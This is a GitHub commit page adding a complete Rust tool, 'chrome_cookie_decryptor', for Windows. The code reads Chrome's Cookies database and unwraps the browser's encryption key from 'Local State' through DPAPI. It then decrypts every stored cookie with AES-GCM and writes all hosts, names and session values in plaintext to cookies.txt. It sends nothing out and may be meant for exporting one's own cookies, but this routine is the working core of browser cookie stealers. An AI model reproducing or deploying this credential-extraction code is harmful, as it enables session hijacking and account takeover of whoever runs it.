Skip to content

Commit

Permalink
feat: Add code
Browse files Browse the repository at this point in the history
  • Loading branch information
1101-1 committed Jun 12, 2023
0 parents commit 6ee36af
Show file tree
Hide file tree
Showing 13 changed files with 322 additions and 0 deletions.
2 changes: 2 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
/target
Cargo.lock
24 changes: 24 additions & 0 deletions Cargo.toml
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
[package]
name = "chrome_cookie_decryptor"
version = "0.1.0"
edition = "2021"

[profile.release]
opt-level = 'z'
lto = true
codegen-units = 1
panic = 'abort'

# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html

[dependencies]
whoami = "1.4.0"
rusqlite = { version = "0.29.0", features = ["bundled"] }
serde_json = "1.0.96"
base64 = "0.21.2"
winapi = { version = "0.3.6", features = ["wingdi", "winnt", "winuser", "libloaderapi", "combaseapi", "objbase", "shobjidl", "winerror", "dpapi", "winbase"] }
aes-gcm = "0.10.2"
tokio = { version = "1.28.2", features = ["full"] }

#[target.'cfg(target_os = "windows")'.features]
#default = ["windows"]
Empty file added README.md
Empty file.
20 changes: 20 additions & 0 deletions src/cookie/cookie_decryption.rs
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@
use aes_gcm::{
aead::{generic_array::GenericArray, Aead},
Aes256Gcm, KeyInit,
};

// #[cfg(windows)]
pub async fn decrypt_cookie(key: Vec<u8>, encrypted_value: Vec<u8>) -> String {
let iv = &encrypted_value[3..15];
let encrypted_value = &encrypted_value[15..];

let cipher = Aes256Gcm::new(&GenericArray::from_slice(&key));

if let Ok(decrypted) = cipher.decrypt(GenericArray::from_slice(iv), encrypted_value) {
if let Ok(decoded) = String::from_utf8(decrypted) {
return decoded;
}
}

return String::new();
}
6 changes: 6 additions & 0 deletions src/cookie/cookie_form.rs
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
pub struct UserCookie {
pub host_key: String,
pub name: String,
pub value: String,
pub expires_utc: i64,
}
32 changes: 32 additions & 0 deletions src/cookie/get_raw_cookies.rs
Original file line number Diff line number Diff line change
@@ -0,0 +1,32 @@
use rusqlite::Connection;

#[cfg(windows)]
pub async fn take_cookies_from_db(
username: String,
) -> Result<Vec<(String, String, String, i64, Vec<u8>)>, rusqlite::Error> {
let conn = match Connection::open(format!(
r"C:\Users\{}\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies",
username
)) {
Ok(conn) => conn,
Err(e) => return Err(e),
};

let query = "SELECT host_key, name, value, expires_utc, encrypted_value FROM cookies";

let mut stmt = conn.prepare(&query).unwrap();

let cookie_iter = stmt
.query_map([], |row| {
Ok((
row.get::<_, String>(0)?,
row.get::<_, String>(1)?,
row.get::<_, String>(2)?,
row.get::<_, i64>(3)?,
row.get::<_, Vec<u8>>(4)?,
))
})?
.collect();

cookie_iter
}
88 changes: 88 additions & 0 deletions src/cookie/handle_raw_cookie.rs
Original file line number Diff line number Diff line change
@@ -0,0 +1,88 @@
use crate::async_writeln;
#[cfg(windows)]
use crate::encrypted_key::key::get_encryption_key;

use std::{io::ErrorKind, sync::Arc};
use tokio::io::Error;
use tokio::{fs::File, sync::Mutex};

use super::cookie_decryption::decrypt_cookie;
use super::cookie_form::UserCookie;

#[cfg(windows)]
pub async fn handle_chrome_cookies(
username: String,
cookies: Vec<(String, String, String, i64, Vec<u8>)>,
filepath: &str,
) -> Result<(), Error> {
let filepath = if filepath.is_empty() { "." } else { filepath };
let mut file = match File::create(format!("{}\\cookies.txt", filepath)).await {
Ok(file) => file,
Err(_e) => {
return Err(tokio::io::Error::new(
ErrorKind::Other,
"Create folder failure",
));
}
};
async_writeln!(file, "# Netscape HTTP Cookie File").unwrap();
async_writeln!(file, "# http://curl.haxx.se/rfc/cookie_spec.html").unwrap();
async_writeln!(file, "# This is a generated file! Do not edit.").unwrap();

let cookie_iter = cookies;

let key = tokio::task::spawn(async move {
if let Ok(key) = get_encryption_key(username.clone()).await {
key
} else {
vec![]
}
})
.await
.unwrap();

if key.is_empty() {
return Err(tokio::io::Error::new(
ErrorKind::Other,
"Key decryption error",
));
}

let shared_key = Arc::new(Mutex::new(key));

for cookie in cookie_iter {
let shared_key_clone = Arc::clone(&shared_key);
let decrypt_val = tokio::task::spawn(async move {
let decrypt_val =
decrypt_cookie(shared_key_clone.lock().await.to_vec(), cookie.4).await;
decrypt_val
})
.await
.unwrap();

let cookie_val = if decrypt_val.is_empty() {
cookie.2
} else {
decrypt_val
};

let cookies = UserCookie {
host_key: cookie.0,
name: cookie.1,
value: cookie_val,
expires_utc: (cookie.3 / 1_000_000) - 11644473600,
};

async_writeln!(
file,
"{}\tTRUE\t/\tFALSE\t{}\t{}\t{}",
cookies.host_key,
cookies.expires_utc,
cookies.name,
cookies.value
)
.unwrap();
}

Ok(())
}
4 changes: 4 additions & 0 deletions src/cookie/mod.rs
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
pub mod cookie_decryption;
pub mod cookie_form;
pub mod get_raw_cookies;
pub mod handle_raw_cookie;
37 changes: 37 additions & 0 deletions src/encrypted_key/decrypt_key.rs
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
use std::ptr::null_mut;

#[cfg(windows)]
use winapi::um::{
dpapi::CryptUnprotectData, winbase::LocalFree, wincrypt::CRYPTOAPI_BLOB, winnt::HANDLE,
};

#[cfg(windows)]
pub async fn decrypt_data_key(mut unencoded_key: Vec<u8>) -> Result<Vec<u8>, String> {
let mut data_in = CRYPTOAPI_BLOB {
cbData: unencoded_key.len() as u32,
pbData: unencoded_key.as_mut_ptr(),
};
let mut data_out = CRYPTOAPI_BLOB {
cbData: 0,
pbData: null_mut(),
};
unsafe {
CryptUnprotectData(
&mut data_in,
null_mut(),
null_mut(),
null_mut(),
null_mut(),
0,
&mut data_out,
);

let bytes = Vec::from_raw_parts(
data_out.pbData,
data_out.cbData as usize,
data_out.cbData as usize,
);
LocalFree(data_out.pbData as HANDLE);
Ok(bytes)
}
}
37 changes: 37 additions & 0 deletions src/encrypted_key/key.rs
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
use base64::engine::general_purpose;
use base64::Engine;
use serde_json::Value;
use std::io::ErrorKind;
use tokio::io::Error;
use tokio::{fs::File, io::AsyncReadExt};

#[cfg(windows)]
use super::decrypt_key::decrypt_data_key;

#[cfg(windows)]
pub async fn get_encryption_key(username: String) -> Result<Vec<u8>, Error> {
let local_state_path = format!(
r"C:\Users\{}\AppData\Local\Google\Chrome\User Data\Local State",
username
);
let mut local_state_file = match File::open(local_state_path).await {
Ok(file) => file,
Err(e) => return Err(e),
};
let mut local_state = String::new();
local_state_file.read_to_string(&mut local_state).await?;

let local_state: Value = match serde_json::from_str(&local_state) {
Ok(val) => val,
Err(e) => return Err(e.into()),
};

let encrypted_key = local_state["os_crypt"]["encrypted_key"].as_str().unwrap();
let encrypted_key = general_purpose::STANDARD.decode(encrypted_key).unwrap();
let unencoded_key = encrypted_key[5..].to_vec();

match decrypt_data_key(unencoded_key).await {
Ok(key) => Ok(key),
Err(e) => Err(tokio::io::Error::new(ErrorKind::Other, format!("{}", e))),
}
}
2 changes: 2 additions & 0 deletions src/encrypted_key/mod.rs
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
pub mod decrypt_key;
pub mod key;
46 changes: 46 additions & 0 deletions src/main.rs
Original file line number Diff line number Diff line change
@@ -0,0 +1,46 @@
use std::{env::args, io::ErrorKind, path::Path};

#[cfg(windows)]
use cookie::{get_raw_cookies::take_cookies_from_db, handle_raw_cookie::handle_chrome_cookies};

use tokio::io;

mod cookie;
mod encrypted_key;
mod marco;

#[cfg(not(windows))]
fn main() {
//* Only windows supported */
}

#[cfg(windows)]
#[tokio::main]
async fn main() -> io::Result<()> {
let args: Vec<String> = args().collect();

let mut path_to_folder: String = String::from("");
if let Some(path) = args.iter().nth(1) {
if Path::is_dir(Path::new(path)) {
path_to_folder = path.to_string()
}
}

let os_username = whoami::username();
let chrome_cookies = match take_cookies_from_db(os_username.clone()).await {
Ok(cookies) => cookies,
Err(e) => {
println!("HELP:\nTo solve this problem, you need to close your chrome browser\n");
return Err(tokio::io::Error::new(ErrorKind::Other, format!("{}", e)));
}
};

match handle_chrome_cookies(os_username.clone(), chrome_cookies, path_to_folder.as_str()).await
{
Ok(()) => return Ok(()),
Err(e) => {
println!("{}", e);
return Err(tokio::io::Error::new(ErrorKind::Other, format!("{}", e)));
}
};
}
24 changes: 24 additions & 0 deletions src/marco.rs
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
#[macro_export]
macro_rules! async_writeln {
($dst: expr) => {
{
tokio::io::AsyncWriteExt::write_all(&mut $dst, b"\n").await
}
};
($dst: expr, $fmt: expr) => {
{
use std::io::Write;
let mut buf = Vec::<u8>::new();
writeln!(buf, $fmt).unwrap();
tokio::io::AsyncWriteExt::write_all(&mut $dst, &buf).await
}
};
($dst: expr, $fmt: expr, $($arg: tt)*) => {
{
use std::io::Write;
let mut buf = Vec::<u8>::new();
writeln!(buf, $fmt, $( $arg )*).unwrap();
tokio::io::AsyncWriteExt::write_all(&mut $dst, &buf).await
}
};
}

0 comments on commit 6ee36af

Please sign in to comment.